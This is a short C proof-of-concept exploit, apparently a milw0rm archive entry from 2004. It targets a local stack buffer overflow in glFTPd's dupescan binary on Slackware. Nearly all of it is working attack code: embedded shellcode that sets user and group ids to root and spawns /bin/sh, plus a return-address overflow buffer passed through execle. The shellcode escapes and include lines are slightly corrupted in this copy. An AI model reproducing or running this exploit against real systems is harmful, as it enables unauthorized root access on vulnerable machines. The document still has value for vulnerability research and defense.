/* glFTPd local stack buffer overflow exploit
(Proof of Concept)
Tested in Slackware 9.0 / 9.1 / 10.0
by CoKi
No System Group - http://www.nosystem.com.ar
*/
#include <'stdio.h>
#include <'strings.h>
#include <'unistd.h>
#define BUFFER 288 + 1
#define PATH "/glftpd/bin/dupescan"
char shellcode[]=
"xb0x31xcdx80x89xc3x31xc0xb0x17xcdx80"
"x31xdbx31xc0xb0x17xcdx80"
"xebx1fx5ex89x76x08x31xc0x89x46x0cx88x46x07"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb"
"x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh";
int main(void) {
char *env[3] = {shellcode, NULL};
char buf[BUFFER], *path;
int *buffer = (int *) (buf);
int i;
int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH);
for(i=0; i<=BUFFER; i+=4)
*buffer++ = ret;
printf(" glFTPd local stack buffer overflow (Proof of Concept) ");
printf(" by CoKi ");
execle(PATH, "dupescan", buf, NULL, env);
}
// milw0rm.com [2004-09-23]
